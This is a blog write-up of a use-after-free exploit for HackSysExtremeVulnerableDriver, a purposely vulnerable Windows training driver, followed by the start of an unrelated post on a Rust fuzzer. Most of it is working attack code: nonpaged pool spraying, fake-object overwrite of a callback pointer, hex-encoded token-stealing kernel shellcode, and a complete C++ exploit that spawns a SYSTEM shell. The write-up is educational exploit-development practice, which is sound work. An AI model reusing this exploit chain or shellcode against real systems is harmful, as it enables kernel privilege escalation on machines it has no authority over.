πŸ”’
❌
There are new articles available, click to refresh the page.
Before yesterdayDecaff Hacking

Use-After-Free Exploit in HackSysExtremeVulnerableDriver

9 April 2022 at 00:00

HEVD UAF Exploit Development Writeup

Hi! This is my write-up for the Use After Free vulnerability in the purposefully-vulnerable windows driver HackSysExtremeVulnerableDriver by hacksysteam. I will go over how to find the vulnerability by auditing the source code, how to exploit the vulnerability, and how to write the exploit code. However, I will not be going through the debugging lab setup. I used hasherzade’s posts (1, 2) on the lab setup, and I strongly encourage anyone who is having trouble setting up their lab to read them (or watch the videos)!

This is the first time I’ve ever exploited a UAF vulnerability. It was also the first time I’ve exploited anything on windows, and the first time I’ve interacted with the windows API. I have also never really looked at driver code before, so reading the source code has been a valuable experience. On top of that, I had never done any of the more complex exploitation steps such as spraying memory. With all of that in mind, please let me know if you find that there’s something incorrect anywhere in this post. Hopefully my newcomer-ness to this challenge will let me add some notes on things that I found particularly challenging as a beginner.

I must also add that there are already some great write-ups for this challenge that I referred to whenever I got stuck. @tekwizz123 has a fully commented UAF exploit on their github, which I found really useful for understanding how to write parts of the exploit. Also, @h0mbre_ has written a great writeup which takes a reverse engineering approach when figuring out how to exploit the UAF before continuing to explain how to write the exploit itself. These resources were really helpful to me, and I highly recommend them.

(Note that I am using HEVD 2.0. My lab setup also consisted of 2 windows 7 x86 VMs, a debugger and a debugee.)

Contents

Source Code Audit

There are two ways to understand a windows driver: source code auditing or reverse engineering. For this challenge, I opted for looking at the source code. It’s easier to read source code with a good start-point in mind which relates to the functionality we need. First, we need to look for the method of communication between a userland process (our cmd.exe, probably) and the windows driver.

I/O Control Codes (IOCTLs) are used as the method of communication between userland and drivers. IOCTLs are sent via I/O Request Packets (IRPs). Note that the documentation states that:

User-mode applications send IOCTLs to drivers by calling DeviceIoControl, which is described in Microsoft Windows SDK documentation. Calls to DeviceIoControl cause the I/O manager to create an IRP_MJ_DEVICE_CONTROL request and send it to the topmost driver.

Therefore, we can search the code for any handler of the IRP_MJ_DEVICE_CONTROL request.

// HackSysExtremeVulnerableDriver.c
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler;

We can see that the request will be handled by the IrpDeviceIoCtlHandler function.

// HackSysExtremeVulnerableDriver.c
NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
    ULONG IoControlCode = 0;
    PIO_STACK_LOCATION IrpSp = NULL;
    NTSTATUS Status = STATUS_NOT_SUPPORTED;

    UNREFERENCED_PARAMETER(DeviceObject);
    PAGED_CODE();

    IrpSp = IoGetCurrentIrpStackLocation(Irp);
    IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;

    if (IrpSp) {
        switch (IoControlCode) {
            case HACKSYS_EVD_IOCTL_STACK_OVERFLOW:
                DbgPrint("****** HACKSYS_EVD_STACKOVERFLOW ******\n");
                Status = StackOverflowIoctlHandler(Irp, IrpSp);
                DbgPrint("****** HACKSYS_EVD_STACKOVERFLOW ******\n");
                break;
            case HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS:
                DbgPrint("****** HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS ******\n");
                Status = StackOverflowGSIoctlHandler(Irp, IrpSp);
                DbgPrint("****** HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS ******\n");
                break;
// The switch statement continues ...

The code gets a pointer to the I/O stack location of the Irp, and from that, gets the associated IOCTL. It then calls a different function depending on which code was used. The codes are named after the different types of vulnerabilities embedded in the driver. Since we’re looking to exploit the UAF vulnerability, we can skip to the following code:

// HackSysExtremeVulnerableDriver.c
            case HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT:
                DbgPrint("****** HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT ******\n");
                Status = AllocateUaFObjectIoctlHandler(Irp, IrpSp);
                DbgPrint("****** HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT ******\n");
                break;
            case HACKSYS_EVD_IOCTL_USE_UAF_OBJECT:
                DbgPrint("****** HACKSYS_EVD_IOCTL_USE_UAF_OBJECT ******\n");
                Status = UseUaFObjectIoctlHandler(Irp, IrpSp);
                DbgPrint("****** HACKSYS_EVD_IOCTL_USE_UAF_OBJECT ******\n");
                break;
            case HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT:
                DbgPrint("****** HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT ******\n");
                Status = FreeUaFObjectIoctlHandler(Irp, IrpSp);
                DbgPrint("****** HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT ******\n");
                break;
            case HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT:
                DbgPrint("****** HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT ******\n");
                Status = AllocateFakeObjectIoctlHandler(Irp, IrpSp);
                DbgPrint("****** HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT ******\n");
                break;

All of the above functions can be found in UseAfterFree.c. First, checking how the β€œUAF Object” is allocated:

// UseAfterFree.c
PUSE_AFTER_FREE g_UseAfterFreeObject = NULL;

// ...

NTSTATUS AllocateUaFObject() {
    NTSTATUS Status = STATUS_SUCCESS;
    PUSE_AFTER_FREE UseAfterFree = NULL;

    PAGED_CODE();

    __try {
        DbgPrint("[+] Allocating UaF Object\n");

        // Allocate Pool chunk
        UseAfterFree = (PUSE_AFTER_FREE)ExAllocatePoolWithTag(NonPagedPool,
                                                              sizeof(USE_AFTER_FREE),
                                                              (ULONG)POOL_TAG);

        if (!UseAfterFree) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
        }

        // Fill the buffer with ASCII 'A'
        RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);

        // Null terminate the char buffer
        UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';

        // Set the object Callback function
        UseAfterFree->Callback = &UaFObjectCallback;

        // Assign the address of UseAfterFree to a global variable
        g_UseAfterFreeObject = UseAfterFree;

        DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
        DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
        DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

The important parts to note is how the memory is allocated, what capabilities the object has, and the object’s scope (when the variable will destroyed). The memory for the UAF object is allocated on the nonpaged pool. The object is of type PUSE_AFTER_FREE, which we can check UseAfterFree.h for the definition of in a moment. Finally, the object is assigned to the global variable g_UseAfterFree, meaning that the pointer to the object will not be destroyed once the function goes out of scope.

Checking the header file for a definition of PUSE_AFTER_FREE gives the following:

// UseAfterFree.h
    typedef struct _USE_AFTER_FREE {
        FunctionPointer Callback;
        CHAR Buffer[0x54];
    } USE_AFTER_FREE, *PUSE_AFTER_FREE;

    typedef struct _FAKE_OBJECT {
        CHAR Buffer[0x58];
    } FAKE_OBJECT, *PFAKE_OBJECT;

Note that we also need the FunctionPointer defintion from Common.h (even if it is fairly self explanatory).

// Common.h
typedef void (*FunctionPointer)();

PUSE_AFTER_FREE is a pointer to a USE_AFTER_FREE struct, which contains a function pointer Callback and a 0x54 long character buffer. The function pointer is interesting and should be noted for now. How is the object actually used?

// UseAfterFree.c
NTSTATUS UseUaFObject() {
    NTSTATUS Status = STATUS_UNSUCCESSFUL;

    PAGED_CODE();

    __try {
        if (g_UseAfterFreeObject) {
            DbgPrint("[+] Using UaF Object\n");
            DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
            DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
            DbgPrint("[+] Calling Callback\n");

            if (g_UseAfterFreeObject->Callback) {
                g_UseAfterFreeObject->Callback();
            }

            Status = STATUS_SUCCESS;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

We can see that the UseUaFObject function simply calls the function pointed to by the function pointer Callback! This is super useful. Is it possible for us to replace the function pointer Callback with our own function somehow?

Before that, a quick aside on what a UAF is: A use after free vulnerability is the result of a dangling pointer, where the pointer to an object is freed (deallocating the memory to be re-used elsewhere in the program), but the pointer is then used again later. Since the memory has been freed, different data may be written to the object’s memory location. When the pointer is used later, malicious data may have replaced the previous object from since it was freed, without the program being aware.

Knowing that, we can now check the way by which the β€œUAF Object” is freed.

// UseAfterFree.c
NTSTATUS FreeUaFObject() {
    NTSTATUS Status = STATUS_UNSUCCESSFUL;

    PAGED_CODE();

    __try {
        if (g_UseAfterFreeObject) {
            DbgPrint("[+] Freeing UaF Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject);

#ifdef SECURE
            // Secure Note: This is secure because the developer is setting
            // 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
            ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);

            g_UseAfterFreeObject = NULL;
#else
            // Vulnerability Note: This is a vanilla Use After Free vulnerability
            // because the developer is not setting 'g_UseAfterFreeObject' to NULL.
            // Hence, g_UseAfterFreeObject still holds the reference to stale pointer
            // (dangling pointer)
            ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
#endif

            Status = STATUS_SUCCESS;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

Here, the memory is freed using ExFreePoolWithTag. However, as the HEVD developers have mentioned in the above code, the pointer g_UseAfterFreeObject still exists. The reference to that freed memory location still exists, meaning that it’s still possible for the program to attempt to access that memory, even though the data at that memory location is free to be changed by another program.

Therefore, the plan of action is:

  • Allocate the UAF Object
  • Free the UAF Object
  • Somehow replace the function pointer at the exact memory address at which the UAF Object was allocated
  • Use the UAF Object

What do we use to replace the UAF object at the target memory address after it is freed? UseAfterFree.c also contains a function which allocates a β€œfake object”.

// UseAfterFree.c
NTSTATUS AllocateFakeObject(IN PFAKE_OBJECT UserFakeObject) {
    NTSTATUS Status = STATUS_SUCCESS;
    PFAKE_OBJECT KernelFakeObject = NULL;

    PAGED_CODE();

    __try {
        DbgPrint("[+] Creating Fake Object\n");

        // Allocate Pool chunk
        KernelFakeObject = (PFAKE_OBJECT)ExAllocatePoolWithTag(NonPagedPool,
                                                               sizeof(FAKE_OBJECT),
                                                               (ULONG)POOL_TAG);

        if (!KernelFakeObject) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(FAKE_OBJECT));
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);
        }

        // Verify if the buffer resides in user mode
        ProbeForRead((PVOID)UserFakeObject, sizeof(FAKE_OBJECT), (ULONG)__alignof(FAKE_OBJECT));

        // Copy the Fake structure to Pool chunk
        RtlCopyMemory((PVOID)KernelFakeObject, (PVOID)UserFakeObject, sizeof(FAKE_OBJECT));

        // Null terminate the char buffer
        KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';

        DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

The fake object is simply an object which is the same size as the UAF object (0x58, recall the struct definitions in UseAfterFree.h), which has a 0x58-sized buffer. This means that it should be possible to simply fill the first 4 bytes with an address, which will be eventually interpreted as a function pointer. The rest of the buffer is irrelevant, as it won’t be used.

Writing the Exploit

Communicating with the Driver

As mentioned before, it’s possible to communicate with the driver from userland by using the DeviceIoControl windows API function. We will have to send a different IOCTL for each action. Examples are as follows:

DWORD inBuffSize = 1024;
DWORD bytesRet = 0;
BYTE* inBuffer = (BYTE*) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, inBuffSize);
RtlFillMemory(inBuffer, inBuffSize, 'A');

// Allocate the UAF Object
BOOL status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT,
                                inBuffer, inBuffSize,
                                NULL, 0, &bytesRet, NULL);

// Free the UAF Object
status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT,
                                inBuffer, inBuffSize,
                                NULL, 0, &bytesRet, NULL);

// Allocate our malicious object here somehow!!!

// Use the UAF Object after Free
status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_USE_UAF_OBJECT,
                                inBuffer, inBuffSize,
                                NULL, 0, &bytesRet, NULL);

Spraying the Nonpaged Pool

Recall that we need to replace the function pointer at the memory address previously owned by the UAF object (before it was freed). It would be great to be able to directly fill the memory address, but that just isn’t possible. Instead, we need to prepare the layout of the nonpaged pool so it’s easy to predict how the UAF object will be allocated.

We can use a technique called spraying to create approximately 0x58-sized (since this size matches the size of the UAF object) buckets in the nonpaged pool. We fill the nonpaged pool with these objects, and then create holes which are around 0x58 in size by freeing some of the objects. When the UAF object is allocated, it should fill one of the gaps opened by the freed objects. When the UAF object is then freed, all of the gaps can then be filled with fake objects (containing a function pointer pointing to our malicious payload) increasing the chance that a fake object will have hopefully overwritten the memory pointed to by the UAF object pointer.

What objects should be used to create the properly sized buckets? Any object that is around 0x58 in size. IoReserveObject, allocated using the NtAllocateReserveObject function, is exactly 0x60 in size. This should work fine for spraying the nonpaged pool. (Note that to allocate the IoReserveObject, the object type ID 1 needs to be passed as the last parameter).

There’s one problem with trying to use the NtAllocateReserve function - there’s no windows API function to call it. Instead, we need to get the address of the function from ntdll.dll, which is a dll containing all NT windows kernel functions. We can do this by using the GetModuleHandle function to get ntdll.dll, and the GetProcAddress function to get the address of NtAllocateReserve from the dll.

However, we need to be able to cast the address returned by GetProcAddress to a function pointer representing the NtAllocateReserveObject. To do this, we must set up the following defintions:

// Declaration of unicode string for object attributes
typedef struct _LSA_UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR Buffer;
} UNICODE_STRING;

// Declaration of object attributes for usage in NtAllocateReserveObject
typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    UNICODE_STRING* ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;

#define POBJECT_ATTRIBUTES OBJECT_ATTRIBUTES*

// Basically declares a function pointer to the NtAllocateReserveObject
typedef NTSTATUS(WINAPI *_NtAllocateReserveObject)(
	OUT PHANDLE hObject,
	IN POBJECT_ATTRIBUTES ObjectAttributes,
	IN DWORD ObjectType);

It’s then possible to retrieve the address using the following code:

// Need to get address of the NtAllocateReserveObject from ntdll.dll
_NtAllocateReserveObject NtAllocateReserveObject = 
    (_NtAllocateReserveObject)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateReserveObject");

It’s now possible to use the function. We need to spray a certain number of objects to defragment the nonpaged pool, and then spray again to allocate many sequential objects. The following function spray_pool has two loops to allocate the degfragmentation objects and the sequential objects, and uses vectors from <vector> to track the handles of all allocated objects (so that it’s possible to free them later). The vectors are returned from the function as a pair, so that it’s possible for the rest of the code to then choose which objects to deallocate. The function is parameterised by the total number of objects used to spray the nonpaged pool.

std::pair<std::vector<HANDLE>, std::vector<HANDLE>> spray_pool(int objects_n){
    // Use a quarter of the spray to defragment the heap
    // Use the rest for sequential heap allocations
    int defrag_n = 0.25 * objects_n;
    int seq_n = objects_n - defrag_n;

    std::cout << "Number of defrag objects to allocate: " << defrag_n << "\n";
    std::cout << "Number of sequential objects to allocate: " << seq_n << "\n";

    // Vectors storing the handles to all allocated objects
    std::vector<HANDLE> defrag_handles;
    std::vector<HANDLE> seq_handles;

    // Need to get address of the NtAllocateReserveObject from ntdll.dll
    _NtAllocateReserveObject NtAllocateReserveObject = 
        (_NtAllocateReserveObject)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateReserveObject");

    if (!NtAllocateReserveObject){
        std::cout << "Could not get NtAllocateReserveObject\n";
        exit(1);
    }

    for (int i = 0; i < defrag_n; i++){
        HANDLE handle = 0;
        // Allocate object, use 1 since we want to allocate the IoCompletionReserve object
        PHANDLE result = (PHANDLE)NtAllocateReserveObject((PHANDLE)&handle, NULL, 1);
        // Push handle to vector
        defrag_handles.push_back(handle);
    }

    for (int i = 0; i < seq_n; i++){
        HANDLE handle = 0;
        // Allocate object, use 1 since we want to allocate the IoCompletionReserve object
        PHANDLE result = (PHANDLE)NtAllocateReserveObject((PHANDLE)&handle, NULL, 1);
        // Push handle to vector
        seq_handles.push_back(handle);
    }

    std::cout << "Allocated " << defrag_handles.size()  << " defrag objects\n";
    std::cout << "Allocated " << seq_handles.size()  << " sequential objects\n";

    return std::make_pair(defrag_handles, seq_handles);
}

Now it’s possible to call the spray_pool function, and then use the vector of handles to free every second handle in the sequential allocations.

// Spray the pool
std::cout << "Spraying the pool\n";
std::pair<std::vector<HANDLE>, std::vector<HANDLE>> handles = spray_pool(poolAllocs);

// Create holes in the pool
std::cout << "Creating " << handles.second.size() << " holes\n";
for (int i = 0; i < handles.second.size(); i++){
    if (i % 2){
        CloseHandle(handles.second[i]);
        handles.second[i] = NULL;
    }
}

Allocating the Payload

Now all we have to do is allocate memory to hold the malicious payload, and create a bunch of fake objects which point to it. We can allocate memory in windows using VirtualAlloc. Once some virtual address space has been allocated for the payload, we can prompt the driver to allocate as many malicious fake objects as required to fill all of the gaps that were created in the previous step.

char payload[] = (
                    "\x60"
                    "\x64\xA1\x24\x01\x00\x00"
                    "\x8B\x40\x50"
                    "\x89\xC1"
                    "\x8B\x98\xF8\x00\x00\x00"
                    "\xBA\x04\x00\x00\x00"
                    "\x8B\x80\xB8\x00\x00\x00"
                    "\x2D\xB8\x00\x00\x00"
                    "\x39\x90\xB4\x00\x00\x00"
                    "\x75\xED"
                    "\x8B\x90\xF8\x00\x00\x00"
                    "\x89\x91\xF8\x00\x00\x00"
                    "\x61"
                    "\xC3"
                    );

// Set up payload buffer
DWORD payloadSize = sizeof(payload);
LPVOID payloadAddr = VirtualAlloc(NULL, payloadSize,
                                    MEM_COMMIT | MEM_RESERVE,
                                    PAGE_EXECUTE_READWRITE);
memcpy(payloadAddr, payload, payloadSize);
LPVOID payloadAddrPtr = &payloadAddr;

std::cout << "Payload address is: " << payloadAddr << '\n';

// Must set up the structure of the fake object so that
// it matches the structure of the UAF Object
DWORD totalObjectSize = 0x58;
BYTE payloadBuffer[0x58] = {0};
// Set the first 4 bytes to be the address to the payload function
memcpy(payloadBuffer, payloadAddrPtr, 4);

// Fill gaps with Fake Objects
std::cout << "Allocating fake objects\n";
std::cout << "Allocating " << handles.second.size() / 2 << " fake objects\n";
for (int i = 0; i < handles.second.size() / 2; i++){
    status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT,
                                payloadBuffer, totalObjectSize, NULL, 
                                0, &bytesRet, NULL);
}

It’s important to note that all the payload does is steal a token. As mentioned before, see tekwizz123’s github for a fully commented version of the payload’s assembly. For the original assembly code, see hacksysteam’s payloads on github. Additionally for a full description of how the payload works, see hasherzade’s blogpost. In summary, the payload steals the access token of the system process. It does this by:

  1. Getting the Kernel Processor Control Region (KPCR) from the fs register (x32 bit windows), and using struct fields (which point to other structs, which then point to other structs which finally point to the EPROCESS struct) to get the EPROCESS structure for the running process
  2. Traversing the linked list which connects all running processes until reaching the EPROCESS of the system process
  3. Copying the access token stored in the system EPROCESS to our running process’ EPROCESS structure

Some extra code is required to spawn cmd prompt with system privileges. The following code uses CreateProcessA to execute C:\Windows\System32\cmd.exe. We need to pass a STARTUPINFOA struct as a required input parameter (which for the most part, we initialise all fields to zero using ZeroMemory before setting the struct’s size field cb) and a PROCESS_INFORMATION struct, which will receive information about the process once it has been created.

    std::cout << "Spawning shell\n";
	PROCESS_INFORMATION pi;
	ZeroMemory(&pi, sizeof(pi));
	STARTUPINFOA si;
	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0,
                    CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

Some Notes on Compilation

If you’re cross-compiling for windows on linux like me, you can install mingw-w64 using a package manager and use i686-w64-mingw32-g++ to compile. If you have any problems regarding missing dlls when running the exe on a windows vm, try the flags -static-libgcc and -static-libstdc++.

Final Exploit

The final exploit is below. Overall, the steps for the exploit are:

  1. Get handle to driver to initialise communication
  2. Spray the nonpaged pool, and create conveniently sized gaps
  3. Allocate a UAF Object
  4. Free the UAF Object
  5. Allocate many fake objects which point to the malicious payload
  6. Use the UAF Object
  7. Spawn windows system shell
#include <iostream>
#include <windows.h>
#include <vector>

// IOCTL Definitions from HackSysExtremeVulnerableDriver.h
#define HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT             CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_USE_UAF_OBJECT                  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT                 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT            CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_ANY_ACCESS)

// From Common.h
typedef void (*FunctionPointer)();

// USE_AFTER_FREE object from UseAfterFree.h
typedef struct _USE_AFTER_FREE {
        FunctionPointer Callback;
        CHAR Buffer[0x54];
    } USE_AFTER_FREE, *PUSE_AFTER_FREE;

// Type definitions for NtAllocateReserveObject

// Declaration of unicode string for object attributes
// https://docs.microsoft.com/en-us/windows/win32/api/lsalookup/ns-lsalookup-lsa_unicode_string
typedef struct _LSA_UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR Buffer;
} UNICODE_STRING;

// Declaration of object attributes for usage in NtAllocateReserveObject
// https://docs.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-_object_attributes
typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    UNICODE_STRING* ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;

#define POBJECT_ATTRIBUTES OBJECT_ATTRIBUTES*

// Basically declares a function pointer to the NtAllocateReserveObject
// https://wj32.org/wp/2010/07/18/the-nt-reserve-object/
typedef NTSTATUS(WINAPI *_NtAllocateReserveObject)(
	OUT PHANDLE hObject,
	IN POBJECT_ATTRIBUTES ObjectAttributes,
	IN DWORD ObjectType);

std::pair<std::vector<HANDLE>, std::vector<HANDLE>> spray_pool(int objects_n){
    // Use a quarter of the spray to defragment the heap
    // Use the rest for sequential heap allocations
    int defrag_n = 0.25 * objects_n;
    int seq_n = objects_n - defrag_n;

    std::cout << "Number of defrag objects to allocate: " << defrag_n << "\n";
    std::cout << "Number of sequential objects to allocate: " << seq_n << "\n";

    // Vectors storing the handles to all allocated objects
    std::vector<HANDLE> defrag_handles;
    std::vector<HANDLE> seq_handles;

    // Need to get address of the NtAllocateReserveObject from ntdll.dll
    _NtAllocateReserveObject NtAllocateReserveObject = 
        (_NtAllocateReserveObject)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateReserveObject");

    if (!NtAllocateReserveObject){
        std::cout << "Could not get NtAllocateReserveObject\n";
        exit(1);
    }

    for (int i = 0; i < defrag_n; i++){
        HANDLE handle = 0;
        // Allocate object, use 1 since we want to allocate the IoCompletionReserve object
        PHANDLE result = (PHANDLE)NtAllocateReserveObject((PHANDLE)&handle, NULL, 1);
        // Push handle to vector
        defrag_handles.push_back(handle);
    }

    for (int i = 0; i < seq_n; i++){
        HANDLE handle = 0;
        // Allocate object, use 1 since we want to allocate the IoCompletionReserve object
        PHANDLE result = (PHANDLE)NtAllocateReserveObject((PHANDLE)&handle, NULL, 1);
        // Push handle to vector
        seq_handles.push_back(handle);
    }

    std::cout << "Allocated " << defrag_handles.size()  << " defrag objects\n";
    std::cout << "Allocated " << seq_handles.size()  << " sequential objects\n";

    return std::make_pair(defrag_handles, seq_handles);
}

int main(int argc, char* argv[]){
    if (argc < 2){
        std::cout << "Usage: " << argv[0] << " <number-of-pool-allocations>\n";
        exit(1);
    }

    int poolAllocs = atoi(argv[1]);

    char devName[] = "\\\\.\\HackSysExtremeVulnerableDriver";
    DWORD inBuffSize = 1024;
    DWORD bytesRet = 0;
    BYTE* inBuffer = (BYTE*) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, inBuffSize);
    RtlFillMemory(inBuffer, inBuffSize, 'A');

    // Get a handle to the driver
    std::cout << "Getting handle to driver";
    HANDLE dev = CreateFile(devName, GENERIC_READ | GENERIC_WRITE, 
                                NULL, NULL, OPEN_EXISTING, NULL, NULL);

    // Handle failure
    if (dev == INVALID_HANDLE_VALUE){
        std::cerr << "Could not get device handle" << std::endl;
        return 1;
    }

    // Spray the pool
    std::cout << "Spraying the pool\n";
    std::pair<std::vector<HANDLE>, std::vector<HANDLE>> handles = spray_pool(poolAllocs);

    // Create holes in the pool
    std::cout << "Creating " << handles.second.size() << " holes\n";
    for (int i = 0; i < handles.second.size(); i++){
        if (i % 2){
            CloseHandle(handles.second[i]);
            handles.second[i] = NULL;
        }
    }

    std::cout << "Sending IOCTLs\n";

    // Allocate the UAF Object
    std::cout << "Allocating UAF Object\n";
    BOOL status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT,
                                    inBuffer, inBuffSize,
                                    NULL, 0, &bytesRet, NULL);

    // Free the UAF Object
    std::cout << "Freeing UAF Object\n";
    status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT,
                                    inBuffer, inBuffSize,
                                    NULL, 0, &bytesRet, NULL);
    
    // Shellcode snippet from @tekwizz123
    char payload[] = (
                        "\x60"
                        "\x64\xA1\x24\x01\x00\x00"
                        "\x8B\x40\x50"
                        "\x89\xC1"
                        "\x8B\x98\xF8\x00\x00\x00"
                        "\xBA\x04\x00\x00\x00"
                        "\x8B\x80\xB8\x00\x00\x00"
                        "\x2D\xB8\x00\x00\x00"
                        "\x39\x90\xB4\x00\x00\x00"
                        "\x75\xED"
                        "\x8B\x90\xF8\x00\x00\x00"
                        "\x89\x91\xF8\x00\x00\x00"
                        "\x61"
                        "\x31\xC0"
                        "\xC3"
                        );

    // Set up payload buffer
    DWORD payloadSize = sizeof(payload);
    LPVOID payloadAddr = VirtualAlloc(NULL, payloadSize,
                                        MEM_COMMIT | MEM_RESERVE,
                                        PAGE_EXECUTE_READWRITE);
    memcpy(payloadAddr, payload, payloadSize);
    LPVOID payloadAddrPtr = &payloadAddr;

    std::cout << "Payload adddress is: " << payloadAddr << '\n';

    // Must set up the structure of the fake object so that
    // it matches the structure of the UAF Object
    DWORD totalObjectSize = 0x58;
    BYTE payloadBuffer[0x58] = {0};
    // Set the first 4 bytes to be the address to the payload function
    memcpy(payloadBuffer, payloadAddrPtr, 4);

    // Fill gaps with Fake Objects
    std::cout << "Allocating fake objects\n";
    std::cout << "Allocating " << handles.second.size() / 2 << " fake objects\n";
    for (int i = 0; i < handles.second.size() / 2; i++){
        status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT,
                                    payloadBuffer, totalObjectSize, NULL, 
                                    0, &bytesRet, NULL);
    }

    // Use the UAF Object after Free
    std::cout << "Using UAF Object after free\n";
    status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_USE_UAF_OBJECT,
                                    inBuffer, inBuffSize,
                                    NULL, 0, &bytesRet, NULL);

    // Spawning shell code snippet from @tekwizz123
    std::cout << "Spawning shell\n";
	PROCESS_INFORMATION pi;
	ZeroMemory(&pi, sizeof(pi));
	STARTUPINFOA si;
	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

    // Close device
    CloseHandle(dev);
    return 0;
}

hevd-uaf-on-win7

Rusty-Fuzzer - A Multi-Threaded Mutation Fuzzer in Rust

3 March 2022 at 00:00

Rusty Fuzzer

Rusty fuzzer is a very simple mutation fuzzer written and multi-threaded with Rust. It was created for the purpose of learning.

Contents

Introduction


